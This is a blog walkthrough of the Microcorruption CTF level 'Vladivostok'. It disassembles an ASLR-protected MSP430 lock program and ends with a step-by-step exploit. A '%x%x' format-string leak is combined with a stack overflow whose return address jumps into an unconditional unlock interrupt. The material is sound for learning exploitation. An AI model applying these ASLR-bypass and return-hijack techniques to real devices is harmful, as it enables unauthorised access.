Microcorruption (Embedded Security CTF): Vladivostok

Next up, Vladivostok!  This level took me the better part of a (very sunny) weekend*, but I finally got it!

This blog post walks through through how I solved the level, and how I would explain it to another person.  As with other levels, it was a bit circuitous but that’s because there were new things to learn.

*Don’t worry, my dog still lobbied for and received plenty of walks and time outside.  🙂

Vladivostok Release Notes

Let’s see what’s new about this level…. randomization, oh no!

Lockitall developers further used the hardware randomization to improve lock security.

Despite the year of development effort which went in to it, we
have heard reports that the memory protection introduced in to
LockIT Pro r e.01 is insufficient. We have removed this feature in
favor of the tried-and-true HSM-2. The engineers responsible for
LockIT Pro r e.01 have been sacked.

Poor engineers.  😢

Vladivostok Software

After skimming the release notes, I look through the code.  Scanning through main, I don’t really see any calls to login, unlock the door, etc.

I keep stepping and then let the program run until the username prompt appears.  Then I realize, oh yeah.  We’re doing the same obfuscated thing that we did in an earlier level.  In other words, there’s no disassembly for each instruction, and instead you can either look at the “Current Instruction” window, or pull the instructions out of the memory view and disassemble them.  This feels like walking through a blizzard and only being able to see one step ahead at a time.

Welp, okay.

Other Vladivostok Functions

Might as well scroll through the code and see what else is visible before I try.  The idea here is to get as much of the “big picture” as possible before diving in to the nitty gritty.

A glance through the different functions shows some of the usual suspects, and a few newcomers.

We’ve got ourselves a _memcpy (with an underscore, possibly denoting that it’s a non-standard implementation?)

We’ve got a _bzero… which seems to be called by no one?

Ohhh neat we’ve got a rand function.  … what does it get used for?

The manual gives us a little bit more information on rand:

We have the familiar conditional door unlock function, which calls a 0x7e interrupt:

We’ve got our old pal printf:

We’ve also got two aslr_main functions, one with an preceding underscore:

We’ve also got puts, gets, and other helper functions.

It does seem a bit tedious to spell out each of these functions, but if you continue running the program until it prompts you for input, you’ll see that the entire disassembly view is “overwritten”:

So uh, what gives?

ASLR

Maybe these “overwritten messages” are because of ASLR?  If we read up on it, we see that it stands for Address Space Layout Randomization.  It’s intended to obfuscate locations of memory so that hackers can’t do Bad Things.  A lot of exploits rely on knowing where certain things are located in memory, so making it difficult to find (or guess) those locations means that it’s harder to attack the program.  Of course, I’m sure people have found ways around it.

I’m reminded of a comment that my friend made about how developers “work real hard to make something and there’s a whole universe of people out to break it immediately.”  Oop.  Well, at least the disappointment won’t be anything new.

Considering that we have a few aslr functions, as well as a few calls to rand, it seems plausible that ASLR is why we can’t see any of the memory.  I’m not sure that that would correspond to the instructions getting “overwritten” but perhaps that’s how Microcorruption simulates an ASLR scenario.  I think the result would be the same:  you can’t get a good view into the disassembly.  We can still see the instructions, one at a time, in the “Current Instruction” window.

Vladivostok Strategy

So, we have ASLR going on, and we also have printf.  From my CTFing, I have a recently visited page about “bypassing ASLR with printf string format attacks” in my history.  It didn’t apply to the CTF challenge but maybe it will be useful here.  : )

Previous levels have made use of a string format attack using printf.  As the blog post discusses, printf trusts that we know what we’re doing when we pass string format specifiers (%d, %s, etc.) and will grab the contents of the stack and show them to us.  If we ask for specifiers that do not have corresponding variables on the stack, then we’ll leak information to the user (hacker) about what the stack contains.

We’ll return back to the actual method of using printf to get our bearings in an ASLR situation, but what is our strategy?  If you run through the program once, you can see that your username gets printed back to you.  So, we have one printf opportunity to get our bearings, and maybe also overwrite something.  What might we overwrite?

We could try swapping out the 0x7E (conditional) unlock door interrupt type with a 0x7F (unconditional) type.  For now, let’s say that that’s our strategy.  That means that we have to figure out how, or more importantly, where to do this.

Getting Our Bearings

Before we use printf to leak information about the program’s memory, let’s see if we can glean anything from looking at the functions and trying a few things out.

The program tells us that the username is limited to 8 characters.  Based on what we see here in memory (for a longer input), they actually mean it this time:

This was for an input of AAAABBBBCCCC

It’s funny, I wrote notes here that longer passwords sometimes resulted in an insn address unaligned message.  I thought that the inconsistency in receiving the message was due to the ASLR, but really, it was because I was made a mistake and thus had inconsistent inputs.  Whoops.  Lesson learned for next time.

I also notice in the aslr function (before everything gets all jumbly and overwritten), there’s a bunch of ASCII-range chars being moved into memory.

Here’s one such block:

44a0:  f240 5500 0224 mov.b	#0x55, &0x2402
44a6:  f240 7300 0324 mov.b	#0x73, &0x2403
44ac:  f240 6500 0424 mov.b	#0x65, &0x2404
44b2:  f240 7200 0524 mov.b	#0x72, &0x2405
44b8:  f240 6e00 0624 mov.b	#0x6e, &0x2406
44be:  f240 6100 0724 mov.b	#0x61, &0x2407
44c4:  f240 6d00 0824 mov.b	#0x6d, &0x2408
44ca:  f240 6500 0924 mov.b	#0x65, &0x2409
44d0:  f240 2000 0a24 mov.b	#0x20, &0x240a
44d6:  f240 2800 0b24 mov.b	#0x28, &0x240b
44dc:  f240 3800 0c24 mov.b	#0x38, &0x240c
44e2:  f240 2000 0d24 mov.b	#0x20, &0x240d
44e8:  f240 6300 0e24 mov.b	#0x63, &0x240e
44ee:  f240 6800 0f24 mov.b	#0x68, &0x240f
44f4:  f240 6100 1024 mov.b	#0x61, &0x2410
44fa:  f240 7200 1124 mov.b	#0x72, &0x2411
4500:  f240 2000 1224 mov.b	#0x20, &0x2412
4506:  f240 6d00 1324 mov.b	#0x6d, &0x2413
450c:  f240 6100 1424 mov.b	#0x61, &0x2414
4512:  f240 7800 1524 mov.b	#0x78, &0x2415
4518:  f240 2900 1624 mov.b	#0x29, &0x2416
451e:  f240 3a00 1724 mov.b	#0x3a, &0x2417

This also happens at 0x45f8 and 0x46d0.

These values are:

55 73 65 72 6e 61 6d 65 20 28 38 20 63 68 61 72 20 6d 61 78 29 3a => "Username (8 char max):"

57 72 6f 6e 67 21 => "Wrong!"

0a 50 61 73 73 77 6f 72 64 3a => Password:

It’s a bummer that those values weren’t more interesting, but it’s good that we checked.

These blocks of ASCII values are all in the _aslr_main function (with the preceding underscore).  Since these values get printed out during the course of program execution, we can say that _aslr_main is where the bulk of the program logic is.

So, figuring out the ASCII strings was useful, because it helped me understand _aslr_main, as we’ll see next.

_aslr_main

I know that no one asked for a dump of assembly, but you’re getting it anyway.  I’ve replaced the ASCII char blocks in _aslr_main with pseudo-code.

From the conditional unlock door function, we know that an interrupt call looks like this:

...
4a46:  3d40 7e00      mov	[provide interrupt code here], r13
4a4a:  0c41           mov	sp, r12
4a4c:  0c12           push	r12
4a4e:  0e12           push	r14
4a50:  0d12           push	r13
4a52:  0012           push	pc
4a54:  0212           push	sr
4a56:  0f4d           mov r13, r15
4a58:  8f10           swpb r15
4a5a:  024f           mov r15, sr
4a5c:  32d0           0080 bis #0x8000, sr
4a60:  b012           1000 call #0x10
4a64:  3241           pop sr
4a66:  3152           add #0x8, sp
...

The interrupt type needs to get into r15 somehow, then we do the bis 0x8000 (and following) lines. So we can write pseudo-code for interrupt calls, too.

With those two changes in mind, here’s _aslr_main:

4482 <_aslr_main>
4482:  0b12           push	r11
4484:  0a12           push	r10
4486:  3182           sub	#0x8, sp
4488:  0c4f           mov	r15, r12
448a:  3c50 6a03      add	#0x36a, r12
448e:  814c 0200      mov	r12, 0x2(sp)
4492:  0e43           clr	r14
4494:  ce43 0044      mov.b	#0x0, 0x4400(r14)
4498:  1e53           inc	r14
449a:  3e90 0010      cmp	#0x1000, r14
449e:  fa23           jne	#0x4494 <_aslr_main+0x12>

/* Beginning of block to move username into memory and then print it out */
44a0-451e:                      // move username prompt into address 0x2402
4528:  b240 1700 0024 mov	#0x17, &0x2400
452e:  3e40 0224      mov	#0x2402, r14
4532:  0b43           clr	r11
4534:  103c           jmp	#0x4556 <_aslr_main+0xd4>
4536:  1e53           inc	r14
4538-4554             // we're clearing r11 and then later moving it into r15
                      // that is getting used as the interrupt type.
                      // we're also looping via jmp statements at 4534 and 455a. 
4556:  6d4e           mov.b	@r14, r13
4558:  4d93           tst.b	r13
455a:  ed23           jnz	#0x4536 <_aslr_main+0xb4>
/* End of this block */

// Another putchar interrupt (also, r13 is set to 0xa)
455c-457c                       // r14 is cleared (0x0) and provided as the interrupt type -> putchar interrupt

// we previously moved 0xa into r13, now we're adding 0x34.  
457e:  3d50 3400      add	#0x34, r13
4582-459c:                      // meanwhile, r14 hasn't changed, and we're moving that into r15 and using that as our interrupt type -> putchar

459e-45b8                       // r14 is still 0, so another putchar interrupt?  

45ba:  3a42           mov	#0x8, r10
45bc:  3b40 2624      mov	#0x2426, r11

45c0:  2d43           mov	#0x2, r13
45c2-45dc:  // we moved 0x2 into r13, which gets moved into r15.  this is a 'gets' interrupt

45de:  c24e 2e24      mov.b	r14, &0x242e
45e2:  0b12           push	r11
45e4:  8c12           call	r12
45e6:  2153           incd	sp
45e8:  0f4b           mov	r11, r15
45ea:  033c           jmp	#0x45f2 <_aslr_main+0x170>
45ec:  cf43 0000      mov.b	#0x0, 0x0(r15)
45f0:  1f53           inc	r15
45f2:  3f90 3224      cmp	#0x2432, r15
45f6:  fa23           jne	#0x45ec <_aslr_main+0x16a>

/* Move password prompt into memory and print it out */
45f8-4634:                      // move password prompt into 0x2402
4638:  3e40 0224      mov	#0x2402, r14
463c:  0c43           clr	r12
463e:  103c           jmp	#0x4660 <_aslr_main+0x1de>
4640-465e:  1e53      // we previously cleared r12 to 0. That is getting moved into r15 -> putchar interrupt. 
                      // notice that 463e and 4664 are jump statements.  
                      // this section is a loop, printing up the entire password prompt.  
4660:  6d4e           mov.b	@r14, r13
4662:  4d93           tst.b	r13
4664:  ed23           jnz	#0x4640 <_aslr_main+0x1be>
/* End of password prompt */

4666:  0e43           clr	r14
4668:  3d40 0a00      mov	#0xa, r13
466c-4686             // since we cleared r14, this will be a 0x0 type putchar interrupt

4688:  0b41           mov	sp, r11
468a:  2b52           add	#0x4, r11
468c:  3c40 1400      mov	#0x14, r12

4690:  2d43           mov	#0x2, r13
4692-46ac             // since 0x2 -> r13 -> r15 -> INT, this is a type 0x2 or 'gets' interrupt

46ae:  3d50 7c00      add	#0x7c, r13
46b2-46ce             // r13 previously had 0x2 in it, we're adding 0x7c to get 0x7e.  
                      // This is a conditional unlock interrupt.  

46d0-46ee:                      // move "Wrong!" into 0x2402
46f8:  b240 0700 0024 mov	#0x7, &0x2400
46fe:  3d40 0224      mov	#0x2402, r13
4702:  103c           jmp	#0x4724 <_aslr_main+0x2a2>
4704:  1d53           inc	r13
4706:  8c11           sxt	r12

4708-4722             // not sure about this section but I'm guessing it's another putchar interrupt.
                      // It's likely that there's one for the success case, and one for the failure case. 

4724:  6c4d           mov.b	@r13, r12
4726:  4c93           tst.b	r12
4728:  ed23           jnz	#0x4704 <_aslr_main+0x282>

472a-474a:            // we're clearing r14, and moving it into r15, which then determines our interrupt type.   
                      // Another putchar interrupt. 

474c:  0e41           mov	sp, r14
474e:  2e53           incd	r14
4750:  0e12           push	r14
4752:  3f41           pop	r15
4754:  3152           add	#0x8, sp
4756:  3a41           pop	r10
4758:  3b41           pop	r11
475a:  3041           ret

Well, that was a lot.  But after swapping out the ASCII parts, and the interrupts, a lot of the magic is gone.

Vladivostok Program Structure

Basically, we are:

  1. Doing… something?  at the beginning of the program
  2. Moving the username prompt into memory and then printing it
  3. Getting the username from the user, and printf-ing it.
  4. Moving the password prompt into memory and then printing it.
  5. Getting the password from the user
  6. Calling a 0x7E (0x7C + 0x2) interrupt to determine if the username and password are valid
  7. Reporting back to the user how it went

This isn’t anything too different from previous levels.  How might we get the program to do what we want?

I think our best bet is to change the type of the interrupt that we’re calling from 0x7E to 0x7F.  The way they set up the interrupt is kinda weird… by adding 0x2 to 0x7C.  So, we could hypothetically either overwrite 0x2 -> 0x3, or we could try to overwrite 0x7C to 0x7D.  Because we’re limited to 8 chars, I think we should try the 0x3 option first.

This will look something like:

3 arbitrary chars + 4-byte addr + %n

This was one of the improved-upon strategies in the Novosibirsk level.  Upon closer inspection, however, I see that that strategy worked because of this instruction.

4552: 0312 push #0x0

In our case, we’re adding a value to a register, so we’d have to overwrite the instruction, not just a constant.  So that won’t work.

Still, the idea of modifying the type of an interrupt is still interesting.  Since we’ve got a lot of interrupts in our code (as we saw in the _aslr_main section), maybe we can make use of this later.

Okay, New Strategy

What if we did the 8-byte strategy from the Novosibirsk level?   That was:

[addr to start reading at] [address to write to] %s %n

This would fit within our 8-byte limit.  The idea here was that we pick an address near the end of memory (0xff80 range) and read the “garbage” data until the printf function reaches the terminating 00.  After reading 0x7F chars, we write that value into the second address.

Unfortunately, even after going through printf line-by-line (more times than I can count) and comparing this printf implementation to that of previous levels, I couldn’t get this to work.

How did I know where to write to for these strategies?  I had the original disassembly saved in a text file, and then would find the new locations by hand by control-F and looking for landmark/unique assembly instructions.

Random

I also looked at rand quite a bit.  This was because I had previously done other CTF challenges where a mistake in the rand setup means that the numbers are predictable.  I investigated that for a while and didn’t find any pattern in results of calls to rand.

%$100x

I also tried following a number of strategies that are used for dealing with ASLR and printf format attacks, like the CTF “console” writeup I linked to earlier.  I also watched this:

)

However, the syntax that they used to print up large portions of the stack or make use of offsets, etc, didn’t seem to work in Microcorruption.  Since we can (mostly) see what’s going on in printf and how it has limited support for special characters, that makes sense.  Oh well, I still learned some interesting things.  : )

%x %x %x %x

That’s not to say that the string format ideas were entirely fruitless.  I typed “%x%x%x%x” to try and leak the contents of nearby memory, and the printf always returned:

0000 [16-bit address that was different every time] 0000 0000

While address itself was different every time, it pointed to the same contents every time.  So, it prints up the same point in the program every time, but thanks to ASLR, the actual address of that point varies.

This would prove to be useful later.

Password Breakthrough

After having gone through the _aslr_main and printf functions repeatedly and only making use of the username, I felt kind of stuck.

I had previously verified that the username was limited to 8 chars.  I made the assumption that the password length was, too.  Of course, that was a mistake on my part (assumptions, asses, etc etc).  Extra funny because I had noticed some address unaligned messages, as mentioned earlier.

Eventually, I tried giving a “too long” (by previous levels’ standards) input, and walked through the code after the gets call for the password.  It prints up “Wrong!” (rude).

Then it tried to return to an unaligned address.  Hmmm.

Because of ASLR, the memory addresses are different for each program run (which means they’ll be different for you, too).

If we input AAAABBBBCCCCDDDDEEEE for our password, we see:

At this point in program execution, the current instruction is pop sr.  After stepping through it a few times, I was able to discern that we had just finished executing this portion of code:

474c:  0e41           mov	sp, r14
474e:  2e53           incd	r14
4750:  0e12           push	r14
4752:  3f41           pop	r15
4754:  3152           add	#0x8, sp
4756:  3a41           pop	r10
4758:  3b41           pop	r11
475a:  3041           ret

So, we popped r10, r11, and then we were returning.  The problem with the unaligned address is that we’re returning to 0x4343…  or trying to.  Since we did these things in sequential order, and the stack pointer is moving up in memory (towards higher addresses), we know that the previous 4 bytes 4242 and 4242 are now in r10 and r11.  (In the photo, the stack pointer is pointing to the next address after our attempted return address of 0x4343).

We can verify that by looking at the register state:

Let’s recap real quick:

Earlier, I mentioned a strategy where I tried to overwrite the type of an interrupt so instead of doing a putchar call it, it did a 0x7f unconditional unlock door interrupt.

Since I went through all of the assembly in both _aslr_main and printf, I had seen many interrupt calls.  More specifically, I saw how different interrupts loaded the interrupt type in differently.  They’d load the value from r11, 12, r13 or r14 into r15, and then that was passed to the interrupt handler.

We have control over r11, so let’s find an interrupt that makes use of that.

It appears that there are two such interrupts.  I chose this one, which prints out the username prompt one char at a time:

4534:  103c           jmp	#0x4556 <_aslr_main+0xd4>
4536:  1e53           inc	r14
4538:  8d11           sxt	r13
453a:  0b12           push	r11
453c:  0d12           push	r13
453e:  0b12           push	r11
4540:  0012           push	pc
4542:  0212           push	sr
4544:  0f4b           mov	r11, r15   // look here, it's r11!!
4546:  8f10           swpb	r15
4548:  024f           mov	r15, sr
454a:  32d0 0080      bis	#0x8000, sr
454e:  b012 1000      call	#0x10
4552:  3241           pop	sr
4554:  3152           add	#0x8, sp
4556:  6d4e           mov.b	@r14, r13
4558:  4d93           tst.b	r13
455a:  ed23           jnz	#0x4536 <_aslr_main+0xb4>

The line with mov r11, r15 looks good.  Let’s grab that address and get working.

Vladivostok Strategy

We’ll input whatever (for now) for our username.  Then, for our password:

[6 bytes of filler] + [7f00 to put into r11] + [address to jump to]

For the filler, I just used 41s (or “A”).

How did I find the address?  I looked for instruction 0f4b in the memory view and found the corresponding address.  There’s actually two 0f4bs so you have to make sure you’re getting the right one (which you can determine by the instructions before/after).

So, that means our password is something like:

4141414141417f00 + [address that contains 0f4b]

I tried this, and the program got off into the weeds in a bad way.  The problem seemed to be due to the pc having a nonsensical value.  So, instead of getting the address of mov r11, r15 I went back a few lines.

I want to make sure there’s a good pc value so I’m interested in jumping to this line:

4540: 0012 push pc

Okay, to summarize, our new password strategy is:

4141414141417f00 +  [address that contains 0012 (followed by 0212, 0f4b, etc.)]

Cool.  I tried this, and it worked.  So, I went to type solve and … … I can’t see ANY of the memory

Really, considering the ASLR, this shouldn’t have been a big surprise.  Luckily, we have a way to solve it.

Vladivostok Solution

We know that there’s a way to leak memory via the username being printf'd back to us.  And we know that the password “formula” is this:

4141414141417f00 +  [address that contains 0012 (followed by 0212, 0f4b, etc.)]

In debug mode, I looked at the address that was being printed out from the username input of %x%x.  This was always in the format of 0000 [address]  Since the next two addresses are always 0s, there’s no point in using more chars.

After having the username-printed address, I searched for the address that goes in the password input.  Then, using a hex calculator, I found the difference between the two.  For the new address I chose (to put in the password), the offset was always 0x22A.  I tried this multiple times and the offset was always the same.  Awesome!

So, to find the address to add to our password input:

[address for password] = [username printf address result] - 0x22A

At this point, I had Taylor Swift’s “22” stuck in my head.

To solve, type solve.  Type a username of %x%x and get the first address.  Use a hex calculator and subtract 0x22A.  Adjust this value for endianness (swap the bytes).  Put this at the end of the password:

4141414141417f00 + [address you just calculated]

And that should unlock it!